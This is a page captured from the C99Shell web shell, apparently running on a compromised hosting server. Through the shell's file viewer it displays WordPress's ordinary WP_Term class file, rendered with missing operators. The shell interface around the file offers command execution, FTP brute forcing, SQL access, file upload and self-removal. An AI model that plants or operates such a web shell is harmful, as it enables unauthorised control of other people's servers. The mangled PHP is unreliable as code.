!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-includes/   drwxr-xr-x
Free 183.1 GB of 490.84 GB (37.3%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class-wp-term.php (5.29 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Taxonomy API: WP_Term class
 *
 * @package WordPress
 * @subpackage Taxonomy
 * @since 4.4.0
 */

/**
 * Core class used to implement the WP_Term object.
 *
 * @since 4.4.0
 */
final class WP_Term {

    
/**
     * Term ID.
     *
     * @since 4.4.0
     * @access public
     * @var int
     */
    
public $term_id;

    
/**
     * The term's name.
     *
     * @since 4.4.0
     * @access public
     * @var string
     */
    
public $name '';

    
/**
     * The term's slug.
     *
     * @since 4.4.0
     * @access public
     * @var string
     */
    
public $slug '';

    
/**
     * The term's term_group.
     *
     * @since 4.4.0
     * @access public
     * @var string
     */
    
public $term_group '';

    
/**
     * Term Taxonomy ID.
     *
     * @since 4.4.0
     * @access public
     * @var int
     */
    
public $term_taxonomy_id 0;

    
/**
     * The term's taxonomy name.
     *
     * @since 4.4.0
     * @access public
     * @var string
     */
    
public $taxonomy '';

    
/**
     * The term's description.
     *
     * @since 4.4.0
     * @access public
     * @var string
     */
    
public $description '';

    
/**
     * ID of a term's parent term.
     *
     * @since 4.4.0
     * @access public
     * @var int
     */
    
public $parent 0;

    
/**
     * Cached object count for this term.
     *
     * @since 4.4.0
     * @access public
     * @var int
     */
    
public $count 0;

    
/**
     * Stores the term object's sanitization level.
     *
     * Does not correspond to a database field.
     *
     * @since 4.4.0
     * @access public
     * @var string
     */
    
public $filter 'raw';

    
/**
     * Retrieve WP_Term instance.
     *
     * @since 4.4.0
     * @access public
     * @static
     *
     * @global wpdb $wpdb WordPress database abstraction object.
     *
     * @param int    $term_id  Term ID.
     * @param string $taxonomy Optional. Limit matched terms to those matching `$taxonomy`. Only used for
     *                         disambiguating potentially shared terms.
     * @return WP_Term|WP_Error|false Term object, if found. WP_Error if `$term_id` is shared between taxonomies and
     *                                there's insufficient data to distinguish which term is intended.
     *                                False for other failures.
     */
    
public static function get_instance$term_id$taxonomy null ) {
        global 
$wpdb;

        
$term_id = (int) $term_id;
        if ( ! 
$term_id ) {
            return 
false;
        }

        
$_term wp_cache_get$term_id'terms' );

        
// If there isn't a cached version, hit the database.
        
if ( ! $_term || ( $taxonomy && $taxonomy !== $_term->taxonomy ) ) {
            
// Grab all matching terms, in case any are shared between taxonomies.
            
$terms $wpdb->get_results$wpdb->prepare"SELECT t.*, tt.* FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy AS tt ON t.term_id = tt.term_id WHERE t.term_id = %d"$term_id ) );
            if ( ! 
$terms ) {
                return 
false;
            }

            
// If a taxonomy was specified, find a match.
            
if ( $taxonomy ) {
                foreach ( 
$terms as $match ) {
                    if ( 
$taxonomy === $match->taxonomy ) {
                        
$_term $match;
                        break;
                    }
                }

            
// If only one match was found, it's the one we want.
            
} elseif ( === count$terms ) ) {
                
$_term reset$terms );

            
// Otherwise, the term must be shared between taxonomies.
            
} else {
                
// If the term is shared only with invalid taxonomies, return the one valid term.
                
foreach ( $terms as $t ) {
                    if ( ! 
taxonomy_exists$t->taxonomy ) ) {
                        continue;
                    }

                    
// Only hit if we've already identified a term in a valid taxonomy.
                    
if ( $_term ) {
                        return new 
WP_Error'ambiguous_term_id'__'Term ID is shared between multiple taxonomies' ), $term_id );
                    }

                    
$_term $t;
                }
            }

            if ( ! 
$_term ) {
                return 
false;
            }

            
// Don't return terms from invalid taxonomies.
            
if ( ! taxonomy_exists$_term->taxonomy ) ) {
                return new 
WP_Error'invalid_taxonomy'__'Invalid taxonomy.' ) );
            }

            
$_term sanitize_term$_term$_term->taxonomy'raw' );

            
// Don't cache terms that are shared between taxonomies.
            
if ( === count$terms ) ) {
                
wp_cache_add$term_id$_term'terms' );
            }
        }

        
$term_obj = new WP_Term$_term );
        
$term_obj->filter$term_obj->filter );

        return 
$term_obj;
    }

    
/**
     * Constructor.
     *
     * @since 4.4.0
     * @access public
     *
     * @param WP_Term|object $term Term object.
     */
    
public function __construct$term ) {
        foreach ( 
get_object_vars$term ) as $key => $value ) {
            
$this->$key $value;
        }
    }

    
/**
     * Sanitizes term fields, according to the filter type provided.
     *
     * @since 4.4.0
     * @access public
     *
     * @param string $filter Filter context. Accepts 'edit', 'db', 'display', 'attribute', 'js', 'raw'.
     */
    
public function filter$filter ) {
        
sanitize_term$this$this->taxonomy$filter );
    }

    
/**
     * Converts an object to array.
     *
     * @since 4.4.0
     * @access public
     *
     * @return array Object as array.
     */
    
public function to_array() {
        return 
get_object_vars$this );
    }

    
/**
     * Getter.
     *
     * @since 4.4.0
     * @access public
     *
     * @param string $key Property to get.
     * @return mixed Property value.
     */
    
public function __get$key ) {
        switch ( 
$key ) {
            case 
'data' :
                
$data = new stdClass();
                
$columns = array( 'term_id''name''slug''term_group''term_taxonomy_id''taxonomy''description''parent''count' );
                foreach ( 
$columns as $column ) {
                    
$data->{$column} = isset( $this->{$column} ) ? $this->{$column} : null;
                }

                return 
sanitize_term$data$data->taxonomy'raw' );
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0099 ]--